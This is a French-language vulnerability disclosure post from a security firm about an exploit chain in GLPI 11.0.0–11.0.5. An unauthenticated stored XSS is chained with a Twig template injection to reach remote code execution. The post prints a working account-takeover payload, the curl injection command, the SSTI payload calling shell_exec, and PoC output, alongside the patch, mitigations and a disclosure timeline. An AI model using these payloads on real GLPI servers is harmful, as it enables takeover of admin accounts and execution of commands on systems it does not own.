Note de transparence — Cette recherche a été conduite avec l’assistance de Claude Opus 4.6 (Anthropic), utilisé par BZHunt dans son processus de R&D. Toutes les vulnérabilités ont été identifiées, vérifiées et exploitées par des chercheurs humains. Nous faisons le choix de la transparence sur l’usage de l’IA dans nos travaux, dans l’attente que des standards clairs émergent sur ce sujet.
TL;DR — CVE-2026-26026 (SSTI→RCE, Critique) et CVE-2026-26027 (Blind Stored XSS, Haute) dans GLPI 11.0.0–11.0.5 permettent de chaîner une Blind Stored XSS non authentifiée avec une Server-Side Template Injection (SSTI) pour obtenir une exécution de code à distance (RCE) sans aucun compte préalable. Score CVSS : 9.1 / Critical (CVE-2026-26026). Patch : GLPI 11.0.6 (3 mars 2026).
Contexte
GLPI (Gestionnaire Libre de Parc Informatique) est l’un des outils ITSM open source les plus déployés en Europe. Il gère des inventaires d’actifs, des tickets, des flux d’agents — et souvent, des infrastructures entières de DSI. C’est précisément ce périmètre critique qui en fait une cible de choix.
En février 2026, l’équipe de recherche BZHunt a identifié plusieurs vulnérabilités 0-day dans GLPI 11.0.0 à 11.0.5. Parmi elles, une Blind Stored XSS non authentifiée (CVE-2026-26027) et une injection SQL non authentifiée dans le moteur de recherche (CVE-2026-26263). La première, chaînée à une SSTI, permet à un attaquant sans aucun compte d’exécuter des commandes système arbitraires sur le serveur. Cet article se concentre sur cette chaîne d’exploitation, la plus critique.
Les vulnérabilités en bref
| # | Type | CVE | CVSS | Périmètre | Auth requise |
|---|---|---|---|---|---|
| 1 | Blind Stored XSS → Account Takeover | CVE-2026-26027 | 7.5 High | GLPI 10.0.0 – 11.0.5 | ❌ Aucune |
| 2 | SSTI → RCE | CVE-2026-26026 | 9.1 Critical | GLPI 11.0.0 – 11.0.5 | ✅ Admin |
| 3 | SQL Injection (moteur de recherche) | CVE-2026-26263 | 8.1 High | GLPI 11.0.0 – 11.0.5 | ❌ Aucune |
La vulnérabilité #2, seule, requiert un compte administrateur (CVSS ~8.8). Combinée à la vulnérabilité #1, la barrière d’authentification disparaît complètement. La vulnérabilité #3 est indépendante de la chaîne et fera l’objet d’un article dédié.
Chaîne complète : Non authentifié → Blind Stored XSS → Account Takeover → SSTI → RCE
Vulnérabilité #1 : Blind Stored XSS non authentifiée via /Inventory
Pourquoi l’endpoint /Inventory est-il accessible sans authentification ?
Par défaut, GLPI configure son endpoint de collecte d’inventaire (/Inventory) sans authentification (auth_required = 'none', défini dans Conf.php ligne 1309). Cet endpoint est conçu pour recevoir des remontées d’agents GLPI déployés sur le parc.
Le problème : les valeurs envoyées par l’agent — notamment deviceid, tag et useragent — sont stockées en base de données sans assainissement HTML dans la fonction Agent::handleAgent(). Lorsqu’un administrateur consulte ensuite la liste des agents, ces valeurs sont affichées via le filtre Twig |raw, qui désactive l’échappement automatique et exécute le JavaScript injecté dans le contexte authentifié de l’administrateur.
Pourquoi ne pas simplement voler le cookie de session ?
Les cookies de session sont protégés par le flag HttpOnly — leur vol via JavaScript est donc impossible. En revanche, le XSS s’exécutant dans la session authentifiée de l’administrateur, il peut effectuer des requêtes HTTP vers GLPI avec les droits de cet administrateur (même origine).
Payload d’Account Takeover (255 caractères, limite du varchar)
<img src=x onerror="fetch('/front/user.form.php',{method:'POST',body:new URLSearchParams({add:1,name:'zax',password:'fr0m-th3-s3cur3',password2:'fr0m-th3-s3cur3',_profiles_id:4,_glpi_csrf_token:document.querySelector('[name=_glpi_csrf_token]').value})})">
Ce payload tient dans un champ varchar(255). Il contourne la protection CSRF en récupérant dynamiquement le token présent dans la page. Lorsqu’un administrateur consulte Administration → Agents, un compte super-administrateur est créé silencieusement.
Injection (sans authentification)
curl -sk -X POST https://target.com/Inventory \
-H "Content-Type: application/json" \
-d '{"action":"contact","deviceid":"legit-agent","itemtype":"Computer",
"tag":"<img src=x onerror=\"fetch('/front/user.form.php',{method:'POST',body:new URLSearchParams({add:1,name:'zax',password:'fr0m-th3-s3cur3',password2:'fr0m-th3-s3cur3',_profiles_id:4,_glpi_csrf_token:document.querySelector('[name=_glpi_csrf_token]').value})})\">"}'
Réponse du serveur : {"expiration":"24","status":"ok"}
L’attaquant dispose maintenant d’un compte super-administrateur. Il peut se connecter avec tous les droits, y compris le droit form CREATE nécessaire pour exploiter la vulnérabilité #2.
Vulnérabilité #2 : SSTI → RCE via double compilation Twig
Le problème de la double compilation
Dans QuestionTypeDropdown.php (ligne 204–216), GLPI construit un template Twig en concaténant du HTML déjà rendu (issu de la classe parente) avec un template Twig non encore rendu, puis soumet le tout à une nouvelle compilation via renderFromStringTemplate().
// QuestionTypeDropdown.php, ligne 204-216
$template = <<<TWIG
{% import 'components/form/fields_macros.html.twig' as fields %}
{{ fields.dropdownArrayField(...) }}
TWIG;
$template .= parent::renderAdministrationTemplate($question); // HTML déjà rendu !
$twig = TemplateRenderer::getInstance();
return $twig->renderFromStringTemplate($template, [...]); // Re-compilation !
La classe parente génère les options du dropdown avec value="{{ value }}". L’auto-échappement Twig protège les caractères & < > " ' — mais pas { } ( ) [ ] _ . | ~. Résultat : si une valeur d’option contient de la syntaxe Twig, elle survit au premier rendu et est évaluée lors de la seconde compilation.
Pourquoi call() permet-il l’exécution de code ?
Le moteur de templates utilisé ici est le TemplateRenderer principal de GLPI — sans sandbox. Il expose notamment :
- La fonction
call()(viaPhpExtension), qui est un alias decall_user_func_array() - Les superglobales PHP
$_GET,$_POST,$_REQUESTcomme variables Twig
Comme les guillemets sont HTML-échappés, on ne peut pas utiliser de chaînes littérales dans le payload. La solution : passer le nom de la fonction et l’argument via des paramètres GET.
Payload SSTI
Valeur de l’option du dropdown :
{{ call(_get.fn, [_get.a]) }}
URL de déclenchement :
/ajax/common.tabs.php?...&fn=shell_exec&a=id
Ce qui s’exécute côté serveur :
call_user_func_array('shell_exec', ['id'])
La chaîne complète
sequenceDiagram
actor Attacker as Attaquant (unauth)
participant GLPI
actor Admin
Attacker->>GLPI: POST /Inventory — tag=XSS payload
GLPI-->>Attacker: {"status":"ok"}
Note over GLPI: Payload stocké en BDD
Admin->>GLPI: GET Administration → Agents (action routinière)
GLPI-->>Admin: Page rendue avec |raw — XSS déclenché
Admin->>GLPI: fetch() POST /front/user.form.php + CSRF token
Note over GLPI: Compte super-admin créé silencieusement
Attacker->>GLPI: Login avec le compte zax
Attacker->>GLPI: Crée formulaire Dropdown — valeur={{ call(_get.fn,[_get.a]) }}
Attacker->>GLPI: GET /ajax/common.tabs.php?fn=shell_exec&a=id
GLPI-->>Attacker: uid=33(www-data) — RCE confirmé
Prérequis côté attaquant :
- GLPI 11.0.0–11.0.5 en installation par défaut
- L’endpoint
/Inventoryest accessible (défaut : sans auth) - Un administrateur consulte la page Agents à un moment donné (action routinière)
Preuve de concept — Résultats confirmés
Les deux vulnérabilités ont été confirmées indépendamment sur une instance de test dédiée sous GLPI 11.0.5.
python3 POC_GLPI_Form_Dropdown_SSTI.py https://target.com \
-u zax -p 'fr0m-th3-s3cur3' --cmd 'id'
[+] RCE CONFIRMED!
[+] Function: shell_exec('id')
=================================================================
COMMAND OUTPUT
=================================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=================================================================
Script d’exploitation — Le PoC complet sera disponible sur le repo GitHub BZHunt à venir.
Impact
L’exploitation de cette chaîne permet :
- Exécution de commandes OS arbitraires sous l’identité du serveur web GLPI
- Exfiltration de données : credentials BDD, fichiers de configuration, données utilisateurs, tickets, inventaire du parc
- Pivot réseau : le serveur GLPI compromis devient une tête de pont vers l’infrastructure interne
- Persistance : web shells, tâches cron, clés SSH, comptes backdoor supplémentaires
- Risque supply chain : GLPI gérant souvent l’ensemble du parc IT, sa compromission offre une visibilité totale sur les assets managés
Corrections recommandées
Les deux vulnérabilités sont corrigées dans GLPI 11.0.6 (3 mars 2026) — la mise à jour est la solution recommandée.
Pour les installations ne pouvant pas migrer immédiatement :
Mitigations temporaires
| Mesure | Vulnérabilité couverte |
|---|---|
Activer l’authentification sur /Inventory (Paramètres → Inventaire → En-tête d’autorisation) | #1 (XSS) |
Restreindre le droit form CREATE aux seuls utilisateurs de confiance | #2 (SSTI) isolée |
| Appliquer les deux mesures | Chaîne complète |
Note : Aucune mesure ne protège entièrement contre la vulnérabilité #2 pour les utilisateurs qui disposent légitimement du droit
form CREATE.
Fichiers clés (GLPI ≤ 11.0.5)
Vulnérabilité #1 :
| Fichier | Ligne | Rôle |
|---|---|---|
src/Glpi/Inventory/Conf.php | 1309 | auth_required = 'none' par défaut |
src/Agent.php | 420–434 | Valeurs stockées sans sanitisation |
templates/pages/admin/inventory/agent.html.twig | 60–150 | Rendu des champs agent via fields.htmlField() |
templates/components/form/fields_macros.html.twig | 787 | {{ value|raw }} — désactive l’auto-échappement |
Vulnérabilité #2 :
| Fichier | Ligne | Rôle |
|---|---|---|
src/Glpi/Form/QuestionType/QuestionTypeDropdown.php | 205 | Double compilation |
src/Glpi/Form/QuestionType/AbstractQuestionTypeSelectable.php | 386 | value="{{ value }}" dans le template parent |
src/Glpi/Application/View/Extension/PhpExtension.php | 90–106 | call() = call_user_func_array() |
src/Glpi/Application/View/TemplateRenderer.php | 127–129 | $_GET, $_POST, $_REQUEST exposés comme globales Twig |
Responsible Disclosure
| Étape | Date |
|---|---|
| Découverte des vulnérabilités | Février 2026 |
| Signalement à l’équipe GLPI | Février 2026 |
| Publication du patch (GLPI 11.0.6) | 3 mars 2026 |
| CVE assignés | CVE-2026-26026, CVE-2026-26027, CVE-2026-26263 |
| Publication de cet article | Mars 2026 |
Nous remercions l’équipe GLPI pour sa réactivité dans le traitement de ces signalements.
Conclusion
Cette chaîne illustre un pattern d’exploitation classique mais redoutable : deux vulnérabilités de sévérité élevée qui, combinées, franchissent la barrière d’authentification et ouvrent un accès complet au système. La première exploite une confiance excessive dans les données provenant d’agents automatisés. La seconde révèle les risques liés à la double compilation de templates, un anti-pattern méconnu mais présent dans plusieurs frameworks.
Pour les équipes déployant GLPI : mettez à jour vers la version 11.0.6 disponible depuis le 3 mars 2026. Si la mise à jour n’est pas encore possible, activez l’authentification sur l’endpoint /Inventory (Paramètres → Inventaire → En-tête d’autorisation).
Zax — BZHunt